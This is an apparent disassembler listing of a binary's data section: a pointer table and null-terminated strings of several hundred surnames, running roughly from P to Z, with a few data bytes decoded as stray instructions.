		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		sub	ah, ch
		inc	edx
		add	[esp+ebp*8], bl
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC15
; ---------------------------------------------------------------------------
		align 4
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBDCo
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD8o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBD4o
		align 4
aZucconi	db 'Zucconi',0
aZoldak		db 'Zoldak',0
		align 4
aZerbini	db 'Zerbini',0
; ---------------------------------------------------------------------------
		pop	edx


loc_42EC15:				; CODE XREF: ___:0042EBD1j
		db	65h, 67h
		popa
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC8Bh
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 10h
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB8o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBB4o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBB0o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBACo
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA8o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EBA4o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EBA0o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB9Co
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB98o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB94o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB90o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB8Co
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB88o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB84o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB80o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB7Co
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB78o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB74o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB70o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB6Co
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB68o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB64o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB60o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB5Co
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB58o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB54o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB50o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB4Co
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB48o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB44o
		align 10h
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB40o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB3Co
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB38o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB34o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB30o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB2Co
		align 10h
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB28o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB24o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB20o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB1Co
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB18o
		align 10h
aWhite		db 'White',0            ; DATA XREF: ___:0042EB14o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB10o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB0Co
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB08o
		align 10h
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EB04o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EB00o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAFCo
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF8o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAF0o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAECo
		align 10h
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE8o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EAE4o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EAD4o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAD0o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EACCo
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC8o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EAC4o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAC0o
		align 10h
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EABCo
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB8o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAB4o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAB0o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAACo
		align 10h
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA8o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EAA4o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EAA0o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA9Co
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA98o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA94o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA90o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA88o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA84o
		align 10h
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA80o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA7Co
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA78o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA74o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA70o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA68o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA64o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA60o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA5Co
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA58o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA54o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA50o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA4Co
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA48o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA44o
		align 10h
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA40o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA3Co
		align 10h
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA38o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA34o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA30o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA2Co
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA28o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA24o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA20o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA1Co
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA18o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA14o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA10o
		align 10h
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA0Co
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA08o
aTill		db 'Till',0             ; DATA XREF: ___:0042EA04o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042EA00o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9FCo
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F8o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9F4o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9F0o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9ECo
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E8o
		align 10h
aThan		db 'Than',0             ; DATA XREF: ___:0042E9E4o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9E0o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9DCo
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D8o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9D4o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9CCo
		align 10h
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C8o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9C4o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9C0o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9BCo
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B8o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9B4o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9B0o
		align 10h
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9ACo
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A8o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E9A4o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E9A0o
		align 10h
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E99Co
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E998o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E994o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E990o
		align 10h
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E98Co
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E988o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E984o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E980o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E97Co
aStott		db 'Stott',0            ; DATA XREF: ___:0042E978o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E974o
		align 10h
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E970o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E96Co
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E968o
		align 10h
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E964o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E960o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E95Co
		align 10h
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E958o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E954o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E950o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E94Co
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E948o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E944o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E940o
		align 10h
aStates		db 'States',0           ; DATA XREF: ___:0042E93Co
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E938o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E934o
		align 10h
aStam		db 'Stam',0             ; DATA XREF: ___:0042E930o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E92Co
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E928o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E924o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E920o
		align 10h
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E91Co
		align 10h
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E918o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E914o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E910o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E90Co
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E908o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E904o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E900o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8FCo
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F8o
		align 10h
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8F4o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8F0o
		align 10h
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8ECo
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E8o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8E4o
		align 10h
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8E0o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8DCo
		align 10h
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D8o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8D4o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8D0o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8CCo
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C8o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8C4o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8BCo
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8B4o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8B0o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8ACo
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A8o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E8A4o
		align 10h
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E8A0o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E89Co
		align 10h
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E898o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E894o
		align 10h
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E890o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E88Co
aShia		db 'Shia',0             ; DATA XREF: ___:0042E888o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E884o
		align 10h
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E880o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E87Co
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E878o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E874o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E870o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E86Co
		align 10h
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E868o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E864o
		align 10h
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E860o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E85Co
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E858o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E854o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E850o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E848o
		align 10h
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E844o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E840o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E83Co
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E838o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E834o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E830o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E82Co
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E828o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E824o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E820o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E818o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E814o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E810o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E80Co
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E808o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E804o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E800o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7FCo
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F8o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7F4o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7F0o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7ECo
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E8o
		align 10h
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7E4o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7E0o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7DCo
		align 10h
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D8o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7D4o
		align 10h
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7D0o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7CCo
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C8o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7C0o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7BCo
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B8o
		align 10h
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7B4o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7B0o
		align 10h
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7ACo
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A8o
		align 10h
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E7A4o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E7A0o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E79Co
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E798o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E794o
		align 10h
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E790o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E78Co
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E788o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E784o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E780o
		align 10h
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E77Co
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E778o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E774o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E770o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E76Co
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E768o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E764o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E760o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E75Co
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E758o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E754o
		align 10h
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E750o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E74Co
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E748o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E744o
		align 10h
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E740o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E73Co
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E738o
		align 10h
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E734o
		align 10h
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E730o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E72Co
		align 10h
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E728o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E724o
		align 10h
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E720o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E71Co
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E718o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E714o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E710o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E70Co
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E708o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E704o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E700o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6FCo
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F8o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6F4o
		align 10h
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6F0o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6ECo
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E8o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6E4o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6E0o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6DCo
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D8o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6D4o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6D0o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6CCo
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C8o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6C4o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6C0o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6BCo
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B8o
		align 4
